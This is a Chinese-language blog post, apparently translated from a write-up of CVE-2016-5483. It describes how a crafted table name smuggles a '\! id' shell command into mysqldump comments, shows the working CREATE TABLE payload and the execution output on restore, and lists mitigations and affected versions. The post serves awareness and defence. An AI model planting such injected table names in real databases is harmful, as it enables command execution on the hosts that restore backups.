1. 简介
mysqldump 是备份 MySQL 数据库的常用工具,其中会包含 创建表、删除表、插入数据 这些数据库操作的语句
而黑客可能会利用 mysqldump 来黑掉你的系统,在 dump 文件被导入时就会执行黑客设置好的 SQL 语句或者 shell 命令
2. 实验
场景假设
1)黑客已经获得了应用的访问权,可以执行任意的 SQL,例如你使用了 WordPress 等开源系统,就很有可能被黑客搞定
2)黑客具有 CREATE TABLE
权限,这也不难,很多开源系统的安装教程中都不会注意这点,可能其中某个步骤就是让你执行
GRANT ALL PRIVILEGES ON wordpress.*
3)使用 mysqldump 进行常规备份
4)黑客想要提升他们的权限,进而可以访问操作系统
过程
首先创建一个恶意表
CREATE TABLE `evil
\! id
select user(),@@version/*` (test text);
之后使用 mysqldump 备份数据库
在正常情况下,dump 文件中应该是这样的结构
--
-- Table structure for table `tablename`
--
而现在则会变成这样
--
-- Table structure for table `evil
\! id
select user(),@@version/*`
--
然后使用 dump 文件导入数据库
mysql test < test.dump
输出信息:
uid=1000(mysql5.7) gid=1000(mysql5.7) 组=1000(mysql5.7)
user() @@version
root@localhost 5.7.17-log
可以看到,已经成功执行了系统命令
3. 弥补方法
- 使用 mysqldump 时设置
--skip-comments
- 撤回建表权限
- 尽量只 dump 表数据
这个问题比较普遍,需要注意,涉及的数据库包括:
数据库
|
版本 |
---|---|
MySQL |
所有版本 |
MariaDB |
<= 5.5.52 且 < 10.1 |
Percona |
所有版本 |
4. 小结
本文翻译整理自
https://blog.tarq.io/cve-2016-5483-backdooring-mysqldump-backups
这个安全点对我很有价值,我的 mysqldump 就没有设置忽略注释,需要补上,所以写出来供有同类问题的小伙伴们参考